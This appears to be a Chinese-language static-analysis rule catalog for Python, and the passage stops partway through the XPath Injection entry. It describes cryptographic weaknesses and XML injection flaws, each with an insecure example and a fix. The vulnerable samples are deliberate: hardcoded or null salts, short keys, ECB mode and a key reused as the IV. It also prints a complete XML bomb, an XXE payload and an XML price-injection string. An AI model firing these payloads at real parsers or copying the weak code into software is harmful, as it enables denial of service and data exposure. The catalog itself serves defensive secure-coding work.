漏洞名称	**Weak Cryptographic Hash:Hardcoded PBE Salt**
默认严重性	3.0
摘要	Hardcoded salt 可能会削弱系统安全性，一旦出现安全问题将无法轻易修正。
解释	使用硬编码方式处理 salt 绝非好方法。这不仅是因为所有项目开发人员都可以使用通过硬编码方式处理的 salt，而且还会使解决这一问题变得极其困难。在代码投入使用之后，无法轻易更改该 salt。如果攻击者知道该 salt 的值，他们就可以计算出该应用程序的“彩虹表”，并更轻松地确定散列值。 在这种情况下，在对 X（文件）第 N 行中的 XXX（函数） 的调用中发现硬编码 salt。 例 1：下列代码使用了 hardcoded salt： ... from hashlib import pbkdf2_hmac dk = pbkdf2_hmac('sha256', password, '2!@$(5#@532@%#$253l5#@$', 100000) ... 此代码将成功运行，但有权访问此代码的任何人都可以访问 salt。一旦程序发布，可能无法更改名为“2!@$(5#@532@%#$253l5#@$”的 salt。雇员可以利用手中掌握的信息访问权限入侵系统。
建议	绝不能对 salt 进行硬编码。通常情况下，应对 salt 加以模糊化，并在外部资源中进行管理。在系统中采用明文的形式存储 salt，会造成任何有充分权限的人读取和无意中误用 salt。 例 2：下列代码使用由系统管理员配置的 salt 变量： ... from hashlib import pbkdf2_hmac dk = pbkdf2_hmac('sha256', password, salt, 100000) ...
CWE	CWE ID 760
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Cryptographic Hash:Hardcoded Salt**
默认严重性	3.0
摘要	Hardcoded salt 可能会削弱系统安全性，一旦出现安全问题将无法轻易修正。
解释	使用硬编码方式处理 salt 绝非好方法。这不仅是因为所有项目开发人员都可以使用通过硬编码方式处理的 salt，而且还会使解决这一问题变得极其困难。在代码投入使用之后，无法轻易更改该 salt。如果攻击者知道该 salt 的值，他们就可以计算出该应用程序的“彩虹表”，并更轻松地确定散列值。 在这种情况下，在对 X（文件）第 N 行中的 XXX（函数） 的调用中发现硬编码 salt。 例 1：下列代码使用了 hardcoded salt： … from django.contrib.auth.hashers import make_password make_password(password, salt="2!@$(5#@532@%#$253l5#@$") … 此代码将成功运行，但有权访问此代码的任何人都可以访问 salt。一旦程序发布，可能无法更改名为“2!@$(5#@532@%#$253l5#@$”的 salt。雇员可以利用手中掌握的信息访问权限入侵系统。
建议	绝不能对 salt 进行硬编码。通常情况下，应对 salt 加以模糊化，并在外部资源中进行管理。在系统中采用明文的形式存储 salt，会造成任何有充分权限的人读取和无意中误用 salt。 例 2：下列代码使用由系统管理员配置的 salt 变量： … from django.contrib.auth.hashers import make_password make_password(password, salt=salt) …
CWE	CWE ID 760
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Cryptographic Hash:Insecure PBE Iteration Count**
默认严重性	3.0
摘要	基于密码的密钥派生函数所使用的迭代计数过低。
解释	密钥派生函数用来从基本密钥和其他参数派生出密钥。在基于密码的密钥派生函数中，基本密钥是一个密码，其他参数则是一个 salt 值和一个迭代计数。迭代计数传统上用于提高从一个密码生成密钥的代价。如果迭代次数过低，则攻击可行性将增加，因为攻击者能够计算应用程序的“彩虹表”，能更轻松地颠倒散列密码值。 在此用例中，对行 N 上 X（文件） 中的 XXX（函数） 的调用指定的重复计数过低。 例 1： 以下代码使用 50 的迭代计数： ... from hashlib import pbkdf2_hmac dk = pbkdf2_hmac('sha256', password, salt, 50) ... 对于基于密码的加密，使用低迭代次数的应用程序容易遭受基于字典的简单攻击，其实就是基于密码的加密方案所针对的那种攻击。
建议	使用一个基于密码的密钥派生函数时，迭代计数应至少为 1000，理想情况下为 100,000 或以上。迭代计数为 1000 将大幅增加穷尽式密码搜索的代价，而对派生各个密钥的代价不会产生显著影响。NIST SP 800-132 建议为关键密钥或非常强大的系统使用高达 10,000,000 的迭代计数。 当使用的迭代计数小于 1000 时，Fortify 安全编码规则将报告较严重的问题，当使用的迭代计数为 1000 到 100,000 之间时，将报告较低严重性的问题。如果源代码使用的迭代为 100,000 或以上，将不报告问题。 例 2： 以下代码使用 100,000 的迭代计数： ... from hashlib import pbkdf2_hmac dk = pbkdf2_hmac('sha256', password, salt, 100000) ...
CWE	CWE ID 916
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Cryptographic Hash:Null PBE Salt**
默认严重性	3.0
摘要	null (None) salt 可能会削弱系统安全性，一旦出现安全问题将无法轻易修正。
解释	使用 null (None) salt 绝非一个好方法。使用 null salt 不仅让确定散列值变得十分容易，而且让该问题的解决变得非常困难。一旦该代码投入使用，则无法轻易更改该 salt。如果攻击者发现值是使用 null salt 进行散列处理的，他们就可以计算应用程序的“彩虹表”，并更轻松地确定散列值。 在这种情况下，在对 X（文件） 第 N 行的 XXX（函数） 的调用中会发现 null salt。 示例 1：以下代码会使用 null (None) salt： import hashlib, binascii from django.utils.crypto import pbkdf2 def register(request): password = request.GET['password'] username = request.GET['username'] dk = pbkdf2(password, None, 100000) hash = binascii.hexlify(dk) store(username, hash) ... 此代码将成功运行，但有权访问此代码的任何人都可以访问 null salt。一旦程序发布，可能无法更改 null salt。雇员可以利用手中掌握的信息访问权限入侵系统。
建议	salt 始终不应为空、硬编码或为 null (None)，一般来说，应对其加以模糊化，并在外部源中进行管理。如果在系统中的任意位置以明文形式存储硬编码、空或 null salt，则任何拥有足够权限的人都可以读取并可能误用该 salt。 例 2：下列代码使用由系统管理员配置的 salt 变量： import hashlib, binascii from django.utils.crypto import pbkdf2 def register(request): password = request.GET['password'] username = request.GET['username'] salt = get_random_salt() dk = pbkdf2(password, salt, 100000) hash = binascii.hexlify(dk) store(username, hash) ...
CWE	CWE ID 759

返回目录

OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Cryptographic Hash:Null Salt**
默认严重性	3.0
摘要	null salt (None) 会背离自己的初衷，可能会削弱系统安全性，一旦出现安全问题将无法轻易修正。
解释	使用 null salt (None) 绝非一个好方法。null salt 不仅会背离自己的初衷，还允许所有的项目开发人员查看该 salt，并使解决此问题变得极其困难。一旦该代码投入使用，则无法轻易更改该 salt。如果攻击者知道 salt 的值，他们就可以计算出该应用程序的“彩虹表”，并更轻松地确定散列值。 在这种情况下，在对 X（文件） 第 N 行的 XXX（函数） 的调用中会发现 null salt。 示例 1：以下代码会使用 null salt (None): from django.utils.crypto import salted_hmac ... hmac = salted_hmac(value, None).hexdigest() ... 此代码将成功运行，但有权访问此代码的任何人都可以访问 salt。一旦程序发布，可能无法更改 null salt。雇员可以利用手中掌握的信息访问权限入侵系统。
建议	salt 始终不应为 null，一般来说，应对其加以模糊化，并在外部源中进行管理。在系统中的任意位置采用明文形式存储 salt 会使拥有足够权限的任何人都能够读取并可能误用该 salt。 例 2：下列代码使用由系统管理员配置的 salt 变量: from django.utils.crypto import salted_hmac ... salt = get_random_salt() hmac = salted_hmac(value, salt).hexdigest() ...
CWE	CWE ID 759
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Cryptographic Hash:Predictable Salt**
默认严重性	3.0
摘要	salt 值应使用加密伪随机数值生成器来创建。
解释	salt 值应使用加密伪随机数值生成器来创建。如果不使用随机 salt 值，则结果散列或 HMAC 的可预测性会高得多，也更容易受到字典式攻击。 例 1：以下代码重新使用密码作为 salt： import hashlib, binascii def register(request): password = request.GET['password'] username = request.GET['username'] dk = hashlib.pbkdf2_hmac('sha256', password, password, 100000) hash = binascii.hexlify(dk) store(username, hash) ...

建议	将足够长度的 salt 值与适当的随机数据源中的字节结合使用。
	例 2：以下代码使用 Crypto.Random 创建足够随机的 salt 值：
	import hashlib, binascii
	from Crypto import Random
	...
	def get_random_salt():
	return Random.new().read(64)
	...
	def register(request):
	password = request.GET['password']
	username = request.GET['username']
	salt = get_random_salt()
	dk = hashlib.pbkdf2_hmac('sha256', password, salt, 100000)
	hash = binascii.hexlify(dk)
	store(username, hash)
	...

CWE	CWE ID 760
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Cryptographic Hash:User-Controlled PBE Salt**
默认严重性	3.0
摘要	X（文件） 中的 XX（方法） 函数包括的用户输入在第 N 行的基于密码的密钥派生函数 (PBKDF) 中使用的加密 salt 值范围内。这使得攻击者可以指定一个空 salt，既能更容易地确定散列值，又能泄露有关程序如何执行加密散列的信息。可能受污染的用户输入不应该作为 salt 参数传递到基于密码的密钥派生函数 (PBKDF)。
解释	在以下情况下会发生 Weak Cryptographic Hash:用户控制 PBE 的 Salt 问题将在以下情况下出现： 1. 数据通过一个不可信赖的数据源进入程序。 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 用户控制的数据包括在 salt 中，或完全作为基于密码的密钥派生函数中的 salt 使用。 在这种情况下，在 Y（文件）中第 M 行的 Y（函数） 使用该数据。 如同许多软件安全漏洞一样，Weak Cryptographic Hash:用户控制 PBE 的 Salt 是到达终点的一个途径，其本身并不是终点。从本质上看，这些漏洞是显而易见的：攻击者可将恶意数据传递到应用程序，然后这些数据被用作 PSKDF 中的全部或部分 salt。 使用用户定义的 salt 的问题在于，它可以实现各种不同的攻击： 1. 攻击者可以利用这一漏洞，指定一个空 salt 作为自己的密码。由此，可以轻易地使用许多不同的散列快速地对其密码执行派生，以泄露有关您的应用程序中使用的 PBKDF 实现的信息。这样，通过限制所用散列的特定变体，可以更轻松地“破解”其他密码。 2. 如果攻击者能够操纵其他用户的 salt，或者诱骗其他用户使用空 salt，这将使他们能够计算应用程序的“彩虹表”，并更轻松地确定派生值。 例 1： 以下代码使用用户控制 salt： import hashlib, binascii def register(request): password = request.GET['password'] username = request.GET['username'] salt = os.environ['SALT'] dk = hashlib.pbkdf2_hmac('sha256', password, salt, 100000) hash = binascii.hexlify(dk) store(username, hash) ... Example 1 中的代码将成功运行，但任何有权使用此功能的人将能够通过修改环境变量 SALT 来操纵用于派生密钥或密码的 salt。一旦程

返回目录

	序发布，撤消与用户控制的 salt 相关的问题就会非常困难，因为很难知道恶意用户是否确定了密码散列的 salt。
建议	salt 绝不能是用户控制的，即使是部分也不可以，也不能是硬编码的。通常情况下，应对 salt 加以模糊化，并在外部数据源中进行管理。在系统中采用明文的形式存储 salt，会造成任何有充分权限的人读取和无意中误用 salt。
CWE	CWE ID 328, CWE ID 760
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Cryptographic Hash:User-Controlled Salt**
默认严重性	3.0
摘要	X（文件） 中的 XX（方法） 方法包括的用户输入在第 N 行的加密散列中使用的 salt 值范围内。这使得攻击者可以指定一个空 salt，既能更容易地确定散列值，又能泄露有关程序如何执行加密散列的信息。对于会生成作为 salt 传递的加密散列的方法，不应使用被污染的 salt 参数进行调用。
解释	在以下情况下会发生 Weak Cryptographic Hash:用户控制 salt 问题将在以下情况下出现： 1. 数据通过一个不可信赖的数据源进入程序。 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 用户控制的数据包括在 salt 中，或完全用作加密散列函数中的 salt。 在这种情况下，在 Y（文件）中第 M 行的 Y（函数） 使用该数据。 如同许多软件安全漏洞一样，Weak Cryptographic Hash:用户控制 Salt 是到达终点的一个途径，其本身并不是终点。从本质上看，这些漏洞是显而易见的：攻击者可将恶意数据传递到应用程序，然后这些数据被用作加密散列函数中的全部或部分 salt。 使用用户定义的 salt 的问题在于，它可以实现各种不同的攻击： 1. 攻击者可以利用这一漏洞，为被散列的数据指定一个空 salt。由此，可以轻易地使用许多不同的散列算法控制被散列的数据，以泄露有关您的应用程序中使用的散列实现的信息。这样，通过限制所用散列的特定变体，可以更轻松地“破解”其他密码。 2. 如果攻击者能够操纵其他用户的 salt，或者诱骗其他用户使用空 salt，这将使他们能够计算应用程序的“彩虹表”，并更轻松地确定哈希值。 例 1： 以下代码使用用户控制 salt 进行密码散列： import hashlib, binascii def register(request): password = request.GET['password'] username = request.GET['username'] salt = os.environ['SALT'] hash = hashlib.md5("%s:%s" % (salt, password,)).hexdigest() store(username, hash) ... Example 1 中的代码将成功运行，但任何有权使用此功能的人将能够通过修改 SALT 环境变量来操纵用于对密码执行散列的 salt。此外，此代码还会使用 md5() 加密散列函数，而该函数不应该用于对密码执行加密散列。一旦程序发布，撤消与用户控制的 salt 相关的问题就会非常困难，因为很难知道恶意用户是否确定了密码散列的 salt。

返回目录

建议	salt 绝不能是用户控制的，即使是部分也不可以，也不能是硬编码的。通常情况下，应对 salt 加以模糊化，并在外部数据源中进行管理。在系统中采用明文的形式存储 salt，会造成任何有充分权限的人读取和无意中误用 salt。
CWE	CWE ID 328, CWE ID 760
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Cryptographic Signature:Insufficient Key Size**
默认严重性	4.0
摘要	X（文件） 文件中的 XX（方法） 方法使用了强大的加密签名算法，但密钥长度不够，从而导致签名更容易受到强力攻击。原本强大的加密签名算法如果使用的密钥长度不够，就可能会更加容易受到强力攻击。
解释	当前的密码指南建议，RSA 和 DSA 算法使用的密钥长度至少应为 2048 位。但是，计算能力和因子分解技术方面的持续进步 [1] 意味着未来将不可避免地需要提高建议的密钥大小。 例 1： 以下代码生成 1024 位 DSA 签名密钥。 ... from Crypto.PublicKey import DSA key = DSA.generate(1024) ...
建议	确保 RSA 和 DSA 签名密钥的长度不少于 2048 位。 例 2： 以下代码生成 2048 位 DSA 签名密钥。 ... from Crypto.PublicKey import DSA key = DSA.generate(2048) ...
CWE	CWE ID 326
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Encryption**
默认严重性	4.0
摘要	程序使用了弱加密算法，无法保证敏感数据的保密性。
解释	过时的加密算法（如 DES）无法再为敏感数据的使用提供足够的保护。加密算法依赖于密钥大小，这是确保加密强度的主要方法之一。加密强度通常以生成有效密钥所需的时间和计算能力来衡量。计算能力的提高使得在合理的时间内获得较小的加密密钥成为可能。例如，在二十世纪七十年代首次开发出 DES 算法时，要破解在该算法中使用的 56 位密钥将面临巨大的计算障碍，但今天，使用常用设备能在不到一天的时间内破解 DES。
建议	使用密钥较大的强加密算法来保护敏感数据。DES 的一个强大替代方案是 AES（高级加密标准，以前称为 Rijndael）。在选择算法之前，首先要确定您的组织是否已针对特定算法和实施进行了标准化。
CWE	CWE ID 327
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Encryption:Inadequate RSA Padding**
默认严重性	4.0
摘要	X（文件） 中的 XX（方法） 方法执行不带 OAEP 填充模式的公钥 RSA 加密，因此加密机制比较脆弱。公钥 RSA 加密在不使用 QAEP 填充模式下执行，因此加密机制比较脆弱。
解释	实际中，使用 RSA 公钥的加密通常与某种填充模式结合使用。该填充模式的目的在于防止一些针对 RSA 的攻击，这些攻击仅在执行不带填充模式的加密时才起作用。 例 1： 以下代码通过未使用填充模式的 RSA 公钥执行加密： ... from Crypto.PublicKey import RSA message = 'Attack at dawn' key = RSA.importKey(open('pubkey.der').read()) ciphertext = key.encrypt(message) ...
建议	为安全使用 RSA，在执行加密时必须使用 OAEP（最优非对称加密填充模式）。 例 2： 以下代码通过使用 OAEP 填充模式的 RSA 公钥执行加密： ... from Crypto.Cipher import PKCS1_OAEP from Crypto.PublicKey import RSA message = 'Attack at dawn' key = RSA.importKey(open('pubkey.der').read()) cipher = PKCS1_OAEP.new(key) ciphertext = cipher.encrypt(message) ...
CWE	CWE ID 780
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Encryption:Insecure Initialization Vector**
默认严重性	3.0
摘要	初始化矢量应该使用加密伪随机数值生成器进行创建。
解释	初始化矢量 (IV) 应该使用加密伪随机数值生成器进行创建。如果不使用随机 IV，则结果密码文本可预测性会高得多，容易受到字典式攻击。 示例 1：以下代码重新使用密钥作为 IV： from Crypto.Cipher import AES from Crypto import Random ... key = Random.new().read(AES.block_size) cipher = AES.new(key, AES.MODE_CTR, IV=key) 当使用密钥作为 IV 时，攻击者可以恢复密钥，从而能够将数据解密。
建议	将足够长度的初始化矢量 (IV) 与适当的随机数据源中的字节结合使用。 例 2： 以下代码使用 Crypto.Random 创建了完全随机的 IV： from Crypto.Cipher import AES from Crypto import Random ... key = Random.new().read(AES.block_size) random_iv = Random.new().read(AES.block_size) cipher = AES.new(key, AES.MODE_CTR, IV=random_iv)
CWE	CWE ID 329
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Encryption:Insecure Mode of Operation**
默认严重性	4.0
摘要	X（文件） 中的函数 XX（方法） 在第 N 行上将密码加密算法用于不安全的操作模式。请勿将密码加密算法用于不安全的操作模式。
解释	块密码操作模式是一种算法，用来描述如何重复地应用密码的单块操作，以安全地转换大于块的数据量。一些操作模式包括电子代码本 (ECB)、密码块链 (CBC)、密码反馈 (CFB) 和计数器 (CTR)。 ECB 模式本质上较弱，因为它会对相同的明文块生成一样的密文。 CBC 模式容易受到密文填塞攻击。CTR 模式由于没有这些缺陷，使之成为一个更好的选择。 示例 1：以下代码将 AES 密码用于 ECB 模式： from Crypto.Cipher import AES from Crypto import Random … key = Random.new().read(AES.block_size) random_iv = Random.new().read(AES.block_size) cipher = AES.new(key, AES.MODE_ECB, random_iv)
建议	加密大于块的数据时，避免使用 ECB 和 CBC 操作模式。CBC 模式效率较低，并且在和 SSL 一起使用时会造成严重风险 [1]。请改用 CCM (Counter with CBC-MAC) 模式，或者如果更注重性能，则使用 GCM （Galois/Counter Mode）模式（如可用）。 示例 2：以下代码将 AES 密码用于 CTR 模式： from Crypto.Cipher import AES from Crypto import Random … key = Random.new().read(AES.block_size) random_iv = Random.new().read(AES.block_size) cipher = AES.new(key, AES.MODE_CTR, random_iv)
CWE	CWE ID 327
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Encryption:Insufficient Key Size**
默认严重性	4.0
摘要	X（文件） 中的 XX（方法） 方法使用了密钥长度不够的加密算法，导致加密数据容易受到强力攻击。另外，当使用的密钥长度不够时，强大的加密算法便容易受到强力攻击。
解释	当前的密码指南建议，RSA 算法使用的密钥长度至少应为 2048 位。但是，计算能力和因子分解技术方面的持续进步 [1] 意味着未来将不可避免地需要提高建议的密钥大小。 例 1： 以下代码可生成 1024 位 RSA 加密密钥。 ... from Crypto.PublicKey import RSA key = RSA.generate(1024) ... 对于对称加密，三重 DES 的密钥长度应该至少为 168 比特，AES 应该至少为 128 比特。
建议	最低限度下，确保 RSA 密钥长度不少于 2048 位。未来几年需要较强加密的应用程序的密码长度应至少为 4096 位。 如果使用 RSA 算法，请确保特定密钥的长度至少为 2048 位。 例 2： 以下代码可生成 2048 位 RSA 加密密钥。 ... from Crypto.PublicKey import RSA key = RSA.generate(2048) ... 同样，如果使用对称加密，请确保特定密钥的长度至少为 128 位（适用于 AES）和 168 位（适用于 Triple DES）。 例 3： 以下代码使用 128 位 AES 加密密钥。 ... from Crypto.Cipher import AES from Crypto import Random key = Random.new().read(AES.block_size) iv = Random.new().read(AES.block_size) cipher = AES.new(key, AES.MODE_CFB, iv) msg = iv + cipher.encrypt(b'Attack at dawn') ...
CWE	CWE ID 326
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Encryption:Stream Cipher**
默认严重性	4.0
摘要	X（文件） 中的方法 XX（方法） 使用流密码。如果加密数据要存储在磁盘上，或者多次使用密钥，那么这种方法就不太安全。如果加密数据要存储在磁盘上，或者多次使用密钥，那么使用流密码就比较危险。
解释	流密码容易受到“密钥重新使用”攻击，又名“两次性密码本”攻击。这意味着，如果多次使用相同的密钥，则可以对密码文本的两个字符串进行异或运算并使密钥失效，从而只剩下异或后的明文。由于人类语言的格式化方式，通常可以轻松恢复两条原始消息。 为了阻止上述攻击，需要使用一个新的初始化向量（IV），因此这意味着流密码不适用于存储加密数据，正如它意味着： 1）使用磁盘扇区作为 IV： 由于在每次需要修改存储数据时都需要重新使用相同的 IV，因此这种方法并不安全。 2）具有可将新的 IV 映射到磁盘扇区的复杂系统： 由于它需要不断更新，需要禁止用户可读，密码文本需要占用的磁盘空间也比单独的未加密明文更多，因此这种方法不容易维护。 上述两点使得使用流密码而不是块密码来存储加密数据变得十分不利。流密码的另一个问题是，它们不会提供身份验证，因此容易受到“位翻转”攻击。一些块密码（例如“CTR”）同样容易受到这些攻击，因为它们与流密码的工作原理相似。 例 1：以下代码可创建流密码，然后将其与常量 IV 一起用于加密数据，再存储到磁盘上： from Crypto.Cipher import AES from Crypto import Random ... key = Random.new().read(AES.block_size) iv = b'1234567890123456' cipher = AES.new(key, AES.MODE_CTR, iv, counter) ... encrypted = cipher.encrypt(data) f = open("data.enc", "wb") f.write(encrypted) f.close() ... 在 Example 1 中，由于 iv 设置为常量初始化向量，因此容易受到重用攻击。
建议	建议不要使用流密码来存储加密数据，而是应始终使用随机初始化向量。

返回目录

	例 2：以下代码可借助随机 IV 创建分组密码，然后用于加密一些要存储的数据： from Crypto.Cipher import AES from Crypto import Random ... key = Random.new().read(AES.block_size) iv = Random.new().read(AES.block_size) cipher = AES.new(key, AES.MODE_CTR, iv) ... encrypted = cipher.encrypt(data) f = open("data.enc", "wb") f.write(encrypted) f.close() ... 应该始终使用随机 IV 和密钥，而且在需要存储加密数据（尤其是随后可能会修改的数据）时，应该使用与流密码工作原理不一样的分组密码，而不是使用流密码。
CWE	CWE ID 327
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Encryption:User-Controlled Key Size**
默认严重性	5.0
摘要	X（文件） 中的 XX（方法） 函数包括的用户输入在第 N 行的加密算法所使用的密钥大小参数的范围内。不应将受污染的密钥大小值传递给采用密钥大小参数的加密函数。
解释	允许用户控制的值确定密钥大小会让攻击者可以指定一个空密钥，导致攻击者可以相对容易地解密任何使用空密钥进行加密的数据。即使要求使用非零值，攻击者也仍然可以指定尽可能低的值，降低加密的安全性。 弱加密：用户控制密钥大小问题将在以下情况下出现： 1. 数据通过一个不可信赖的数据源进入程序 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 用户控制的数据包含在密钥大小参数中，或完全用作加密函数中的密钥大小参数。 在这种情况下，在 Y（文件）中第 M 行的 Y（函数） 使用该数据。 如同许多软件安全漏洞一样，弱加密：用户控制密钥大小是到达终点的一个途径，其本身并不是终点。从本质上看，这些漏洞是显而易见的：攻击者将恶意数据传送到应用程序，这些数据随后被用作执行加密的密钥大小值的全部或一部分。 用户控制密钥大小的问题在于，它可以实现几个不同的攻击： 1. 攻击者可以利用此漏洞，为涉及他们可以访问的任何数据的加密操作指定零密钥大小。由此，可以轻易地使用多个不同的算法以及空密钥，试图对他们自己的数据进行解密，以泄露有关应用程序中使用的加密实现的信息。通过允许攻击者在破解期间仅专注于特定算法，这使攻击者可以更容易地解密其他用户的加密数据。 2. 攻击者可以操纵其他用户的加密密钥大小，或诱骗其他用户使用零（或尽可能低的）加密密钥大小，从而使攻击者可能可以读取其他用户的加密数据（一旦攻击者知晓所使用的加密算法）。 例 1：以下代码可从密码衍生密钥，但使用用户控制的衍生密钥长度： ... dk = hashlib.pbkdf2_hmac('sha256', password, random_salt, 100000, dklen=user_input) ... Example 1 中的代码将成功运行，但任何有权使用此功能的人将能够操纵加密算法的密钥大小参数，因为变量 user_input 可由用户控制。一旦程序发布，撤消与用户控制的密钥大小相关的问题就会非常困难，因为很难知道恶意用户是否确定了给定加密操作的密钥大小。
建议	加密算法的密钥大小参数绝不能由用户控制，即使部分控制也不行。通常情况下，应该根据使用中的加密算法，将密钥大小参数手动设置

返回目录

	为相应的密钥大小。一些 API 甚至提供一套与各种加密算法相对应的密钥大小常量。 例 2：以下代码可从密码衍生密钥，但使用由衍生密钥的使用所决定的值： ... dk = hashlib.pbkdf2_hmac('sha256', password, random_salt, 100000, 256) ... Example 2 中的代码假设，random_salt 是使用加密伪随机数生成器生成的，并且会将派生的密钥长度用于合适长度为 256 的密码（如 AES）。
CWE	CWE ID 326
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**XML Entity Expansion Injection**
默认严重性	4.0
摘要	X（文件）:N 中配置的 XML 解析器无法预防和限制文档类型定义(DTD) 实体解析。这会使解析器暴露在 XML Entity Expansion injection 之下使用配置的 XML 解析器无法预防和限制文档类型定义（DTD）实体解析，这会使解析器暴露在 XML Entity Expansion injection 之下.
解释	XML Entity Expansion injection 也称为 XML Bombs，属于 DoS 攻击，利用格式工整的有效 XML 块，它们在耗尽服务器分配的资源之前不断呈指数式扩张。XML 允许定义作为字符串替代宏的自定义实体。通过嵌套复发性实体解析，攻击者可以轻松使服务器资源崩溃。 下面的 XML 文档介绍了 XML Bomb 的示例。 <?xml version="1.0"?> <!DOCTYPE lolz [<!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>

返回目录

	<lolz>&lol9;</lolz> 此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
建议	应该对 XML 解析器进行安全配置，使它不允许将文档类型定义 (DTD) 自定义实体包含在传入的 XML 文档中。 一般来说，如有可能，请使用参考中所示的 defused 模块。
CWE	CWE ID 776
OWASP2017	A4 XML External Entities (XXE)

返回目录

漏洞名称	**XML External Entity Injection**
默认严重性	4.0
摘要	X（文件）:N 中使用的 XML 处理器无法预防和限制外部实体进行解析。这会使解析器暴露在 XML External Entities 攻击之下。使用 XML 处理器无法预防或限制外部实体进行解析，这会使应用程序暴露在 XML External Entities 攻击之下。。
解释	XML External Entities 攻击利用 XML 功能在运行时动态生成文档。 XML 实体可动态包含来自给定资源的数据。外部实体允许 XML 文档包含来自外部 URI 的数据。除非另行配置，否则外部实体会迫使 XML 解析器访问由 URI 指定的资源，例如位于本地计算机或远程系统上的某个文件。这一行为会将应用程序暴露给 XML External Entity (XXE) 攻击，攻击者可用来对本地系统执行 Denial of Service，获取对本地计算机上文件未经授权的访问权限，扫描远程计算机，并拒绝远程系统的服务。 例 1： 下面的 XML 文档介绍了 XXE 攻击的示例。 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo> 如果 XML 解析器尝试使用 /dev/random 文件中的内容来替代实体，则此示例会使服务器（使用 UNIX 系统）崩溃。
建议	为了避免 XXE 注入，应对 XML 解析器进行安全配置，使它不允许将外部实体包含在传入的 XML 文档中。 例 2： 对于 xml.sax 解析器： parser = xml.sax.make_parser() parser.setContentHandler(handler()) parser.setFeature(xml.sax.handler.feature_external_ges, False) buf = StringIO.StringIO(xml) parser.parse(buf) 一般来说，如有可能，请使用参考中所示的 defused 模块。
CWE	CWE ID 611
OWASP2017	A4 XML External Entities (XXE)

返回目录

漏洞名称	**XML Injection**
默认严重性	4.0
摘要	在 X（文件） 的第 N 行中，XX（方法） 方法将写入未经验证的 XML 输入。攻击者可以利用该调用将任意元素或属性注入 XML 文档。如果在 XML 文档中写入未验证的数据，可能会使攻击者修改 XML 的结构和内容。
解释	XML injection 会在以下情况中出现： 1. 数据从一个不可信赖的数据源进入程序。 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 数据写入到 XML 文档中。 在这种情况下，由 Y（文件）的第 M 行的 Y（函数） 编写 XML。 应用程序通常使用 XML 来存储数据或发送消息。当 XML 用于存储数据时，XML 文档通常会像数据库一样进行处理，而且可能会包含敏感信息。XML 消息通常在 web 服务中使用，也可用于传输敏感信息。XML 消息甚至还可用于发送身份验证凭据。 如果攻击者能够写入原始 XML，则可以更改 XML 文档和消息的语义。危害最轻的情况下，攻击者可能会插入无关的标签，导致 XML 解析器抛出异常。XML injection 更为严重的情况下，攻击者可以添加 XML 元素，更改身份验证凭据或修改 XML 电子商务数据库中的价格。还有一些情况，XML injection 可以导致 cross-site scripting 或 dynamic code evaluation。 例 1： 假设攻击者能够控制下列 XML 中的 shoes。 <order> <price>100.00</price> <item>shoes</item> </order> 现在假设，在后端 Web 服务请求中包含该 XML，用于订购一双鞋。 假设攻击者可以修改请求，并将 shoes 替换成 shoes</item><price>1.00</price><item>shoes。 新的 XML 如下所示： <order> <price>100.00</price> <item>shoes</item><price>1.00</price><item>shoes</item> </order> 当使用 SAX 解析器时，第二个 <price> 标签中的值将会覆盖第一个 <price> 标签中的值。这样，攻击者就可以只花 1 美元购买一双价值 100 美元的鞋。
建议	将用户提供的数据写入 XML 时，应该遵守以下准则：

返回目录

	1.不要使用从用户输入派生的名称创建标签或属性。 2.写入到 XML 之前，先对用户输入进行 XML 实体编码。 3. 将用户输入包含在 CDATA 标签中。
CWE	CWE ID 91
OWASP2017	A1 Injection

返回目录

漏洞名称	**XPath Injection**
默认严重性	4.0
摘要	在 X（文件） 的第 N 行，XX（方法） 方法调用 XPath 询问，该查询是用未经验证的输入创建的。此调用使攻击者可修改语句的含义或者执行任意 XPath 查询。利用用户输入构建动态的 XPath 查询使攻击者可借机修改语句的含义。
